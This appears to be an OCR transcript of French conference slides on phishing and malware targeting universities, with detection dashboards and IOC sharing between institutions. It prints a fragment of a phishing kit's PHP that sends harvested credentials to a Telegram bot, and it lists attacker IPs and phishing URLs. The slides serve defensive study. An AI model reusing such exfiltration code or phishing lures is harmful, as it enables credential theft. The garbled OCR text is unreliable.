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BUSINESS DES MALWARES

PHISHING

univ.orange-facuration.pro/ca
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ous devez entrer votre identifiant.

Mot de passe*

SE CONNECTER

(3 Jai un probléme de connexion
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E D'AUTHENTIFICATION

& Premiére connexion des étudiants

& Premiére connexion des personnels

Pour des raisons de sécurité, veuillez vous déconnecter et fermer votre navigateur lorsque
vous avez fini d'accéder aux services authentifiés.
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Escroquerie historique

Nos utilisateurs
doivent apprendre a

lire une URL ...
systématiquement !
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PHISHING

orange-facuration.pro, lin
Ouvrir v

next.php Enregistrer = - o X

Escroquerie historique

date( 'h:i:s5")

| . Kits standard avec
subject, Smessage, / transmission vers mail
fmess =urlencode|$me je),; . . . & Canal Telegram

$hotToken =

univeeelvcc-fdd422)

irl = "https://api.telegram.org/bot".$botToken

fcurl = curl_init();

curl_setopt url, CURLOPT_URL, %url);
curl_setopt url, CURLOPT_SSL_VERIFYFPEER,
curl_setopt url, CURLOPT_RETURNTRANSFER,
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UNIVERSITE

- ,
\“) o UNIVERSITE
] M .e's.upgrtqn A DE LORRAINE

RENNES 2024 DE REIMS
‘CHAMPAGNE-ARDENNE




LE GROUPE CONTI

. ™ — )
Admin Sys. , " s

Reshaev Cont' .ﬂ% Ryuk Dévoilé en mars 2022
ﬁ Pin leak 01/03/22 Le° ﬁ
\. Y, — 47 e .y .
- 5;-}0'3:5::3" Nl oeeemeeee™ 1 * Salariés et organisés en

Codeurs Prof , .
é Bentley L?aensgsoor eqUIpeS

Bloodrush Revers -’

v \_ y, \Y/ Emotet _ :
p N Buza * Collaborations entre divers

\_ ) ‘7 Reverse .
- N (avans / l groupes

Testeurs L J

? -l -
R o ((Pentests Y\ | R Trickbot Ryuk : ransomware
\. J Tramp — ,@\ g
N Bio =) 1 Trickbot : troyen
Recrutement Ski . . o

_ Selamandra segero _ Emotet : mails piégés
9D _ 100 salariés 100 millions $/ an | Ex: Solware (FR) 12/08 — déc. 2021 : 1300 garagistes
e W e ki @i




TRAFFERS
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Opération 911
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CONTEXTES UNIVERSITAIRES

UNIVERSITE DE REIMS CHAMPAGNE-ARDENNE

¢ 30 000 étudiants, 4 000 personnels, 5 villes

¢ Détections : SIEM Elastic / Sonde NDR / Rspamd

@ @  Q Filter your data using KQL syntax

Alerts

Acknowledged = Closed

~ M Trend v

E ~ Last7days

Updated 9 seconds agoe

Groupby kibana.alert.rule.name

Group by top

. [URCA] - M365 | Login Failures followed by N

365 User Accounts

OneDrive Malware File Upload

Service

G Refresh

Manage r

2

File Creation

success

1

0110 00:00 o 0112 00:00 0113 00:00 0114 00:00 01:1500:00 01-1600:00 0147 00:00
Columns ¢ 1fleldsorted 78alerts [ Fields Additional filters > Grid view
Actions & @timestamp ~ Rule ~ Severity - RiskScore “ Reason hostname  username  process.n. v filename v st
P Jan 17, 2023 @ 08:08:48,588  Attempts to Brute Forcea...  high 73 event created high alert Attempts to Brute Force a Microsoft 365 User Acc... — - - - -
S e Jan 17,2023 @ 07:53:42.383  Attempts to Brute Forcea...  high 73 event created high alert Attempts to Brute Force a Microsoft 365 User Acc... — — — — -
S e Jan 17,2023 @ 07:41:45.904  Potential Password Sprayin... high 73 event with source (R ® cr<=t<d high alert Potential Password 5. — — — — 1
S S e Jan 17,2023 @ 07:28:30.527  Attempts to Brute Forcea...  high 73 event created high alert Attempts to Brute Force a Microsoft 365 User Acc... — — — — -
S g wos Jan 17, 2023 @ 03:52:02.528  [URCA] - M365 | Impossibl.. high 73 event created high alert [URCA] - M365 | Impossible travel activity. — — — — —
_ =

I S g e Jan 16, 2023 @ 23:52:37.633  OneDrive Malware File Uplo... high 73 web event with file keygen exe, created high alert OneDrive Malware File U.. — — - keygen.exe - I
P Jan 16,2023 @ 23:52:01.228  [URCA] - M365 | Impossibl...  high 73 event created high alert [URCA] - M365 | Impossible travel activity. — — — — —
P Jan 16, 2023 @ 23:52:01.227 high 73 — — — — -

RENNES 2024

[URCAI - M365 | Impossibl...

event created high alert [URCA] - M365 | Impossible travel activity.
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CONSORTIUM ESUP PORTAIL

¢ Services pour une centaine d'établissements de I'ESR

¢ Détections : sonde NDR

henryjones&holdingsinc.com

File Downloaded (Download}

Userinfa:

Adaitional Intarmatian:

RENNES 2024

red in a phishing link i
| harvesting. Inoculation ied this phishing email as a po:

POSSIBLE UNENCRYPTED PASSWORD FILE ON SERVER

A server is storing files that imply the presence of unencrypted passwords or other sensitive information. This mode!
will breach once per week - a full list of possibly un S vord files acce: ring the veek can be
seen via nced Search. Action: Review the files bei a sed a if they contain passwords, the user who
created the
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UNIVERSITE TOULOUSE CAPITOLE

¢ 20 000 étudiants, 1 500 personnels

¢ Détections : honeypots, « logs » infostealers

| AnURLs Are Selected. X v | m

il b - @ &

Quarantaine sur 1 mois 480 4 28 476 5 113
20 k Overview Compromised Third Party Compromised External Assets
Dashboard Employees Credentials Users Domains Discovery
+2x EXPORT CREDENTIALS TO €SV
. (=3 Machine ID & Password Date Compromised
A GO Lk 2023-10-22 12:54:36 2023-10-23 10:02:27
capitole.fr/captive-portal Weak s 0
https://cas.ut-capitole.fr
v 2023-10-22 12:54:36 2023-10-23 10:02:27
Jcas/login Weak
https:, . ut-capitole. fi
° Won  Wed  Fri  sun  Tue  Thu  sat  Mon  Wed  Fri  su  Tue  Thu  sat  Hon v R D B 2023-10-22 12:54:36 2023-10-23 10:02:27
Icas/login Weak
B Quarantaine en sortie par heure B Quarantaine en entree par heure
https://v2-ecandidatures-
v tsm.ut-capitole.fr/ecandidat- Weak 2023-10-06 03:05:20 2023-10-19 11:52:52
vz
https://v2-ecandidatures-
w tsm.ut-capitole.fr/ecandidat- 2023-10-06 03:05:20 2023-10-19 11:52:52
Too weak

vz

hitps://cas.ut-capitole.fr
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CONTEXTES UNIVERSITAIRES

UNIVERSITE DE LORRAINE

¢ 60 000 étudiants, 9 000 personnels, 2 métropoles, 11 villes

¢ Détections : SMSI / analyse des logs de connexions

Vols d'identifiants

7441 événements (1319 vols certains) entre le 04 janv. 2019 et le 31 déc. 2023 Détection [D] Actions [A] -
Iﬂ:: Réseau:
Mar o Alertes Log: ACLs [M]
Mer 2 light [M] Switchs [M]
s © ExaBGP [M]
Sam SIEM /10C,
Threat Intel. i
Dim Mail:
e mark spam [M]
v 8 blacklist [M]
Jeu =] F ¥ yara [M]
ven ~
Sam
om Log Auth: Log IPs: Restauration
Lun analyse 1A métadonnées sauvegardes
Mar N vy
Mer B
(Z: = Verrouillage compte:
sam Honeypots API
Dim —
Lun "
Mar [*]
Mer S
Sam
nLA:: N Disponibilité Gestion mises a jours
Mer 3
Jeu w
Ven l
Sam
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CONTEXTES UNIVERSITAIRES

DES CONTEXTES DIVERS

DES MODES DE DETECTIONS,

DES MODES DACTIONS DIVERS

Nous sommes tous «ciblés»
Avec les mémes techniques, par les mémes escrocs,...




ROCKETCHAT
A VENIR...

PARTAGES D'IOC
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PARTAGES D'TOC

ROCKET CHAT : HTTPS://ROCKET.ESUP-PORTAIL.ORG/GROUP/SSI_IOC

¢ Depuis 2022, 30 établissements, 6 tres actifs

a
o

RENNES 2024

30 octobre 2024 @ an @ Q
JACQUOT Frederic @jacquot.frederic 08:20
Exploitation d'un compte phishé
45.129.32.196 (CZ) (g (PacketHub S.A.)

EMMANUEL MESNARD @emmanuel.mesnard 09:29 #
Vol de compte : 84.17.43.16 {FR]‘ ' AS212238 - Datacamp Limited

Guy Brand @guy.brand 09:48

Exploitation de 4 comptes volés : 149.36.50.22 (DE) M 45212238 Datacamp Limited, 4.233.144.56 (FR) ‘ ' AS8075 MICROSOFT-CORP-MSN-AS-BLOCK, 175.107.235.81 (PK) B AS9541

Cyber Internet Services Pvt Ltd.

Yves Agostini @yves.agostini 10:24
Phishing:

De: "Univ-lorraine eSignature via Docusign" <info@rixshiping.net>

Objet: COMPLETED: Document Ready For Your Review and Signature #2768 - de @ ame n Wednesday, 30th October 2024

Date: 30 octobre 2024 a 09:25:38 UTC+1

URL: https://email.abprotector.com/.... redirect vers s://owaexchange-online-access-wp-config-portal-18gin.powerappsportals.com/secured-uzo-owaexchange-18gin-
portal/#[base64 mail]

phishing (impdts):

Variante regue ici avec s:/ffidimaa.com/fr .. redirecte sur s:/fcfspart-idp-impots-gouv-france.aiuscujg.com (déja en RPZ)

FABRICE PRIGENT @fabrice.prigent 13:47 &
Phishing

From: CHASSAENT —=sl-wme <Thee—oe= SaSBRCNGOentpe.fr>
Date: Wed, 30 Oct 2024 11:15:46 +0008

Subject: Cher(e) Membre(e)s Univ-toulouse !

URLs: s://miniurl.com/ih@ifv5@0 ==> p://1127b43.wcomhost.com/
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A VENIR

* MISP:

o Eve Events

Import from...

REST client «previous | next»

List Attributes n m Enter value to search Eventinfo ¥

Search Attributes £ Creator org Owner org ID Clusters Tags #Attr. #Corr. Creator user Date Info Distribution Actions
ORGNAME ORGNAME ?5 4100 admin@admin.test 2023-01-04 Phishtank online valid phishing feed Organisation< L[ W@

View Proposals

ORGNAME ORGNAME ?4 Q@ osint:source-type="block-or-filter-list" 2Lt admin@admin.test 2023-01-04 cybercrime-tracker.net - all feed Organisation< 17 § ©
Events with proposals
View delegation requests ORGNAME ORGNAME ?3 @ osint:source-type="block-or-filter-list" JEEELENE] admin@admin.test 2023-01-04 Tor ALL nodes feed Organisation< L [Z § @
View periodic summary ORGNAME ORGNAME ?2 Q osint:source-type="block-or-filter-list" Rl 2N admin@admin.test 2023-01-04 Tor exit nodes feed Organisation< & B ©
ORGNAME ORGNAME 21 @ osint:source-type="block-or-filter-list" k1] admin@admin.test 2023-01-04 blockrules of rules. ingthreats.net O isation< LZ W@
Export feed
Automation

Page 1 of 1, showing 5 records out of 5 total, starting on record 1, ending on 5

¢ Intégrations aux outils locaux ? Actions automatisées ?

¢ Définition des conditions d'acces ?

=> Qui souhaite participer a un groupe de travail ?
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Merci pour votre attention

Questions ?

«Les constructeurs» - Fernand Léger — 1950
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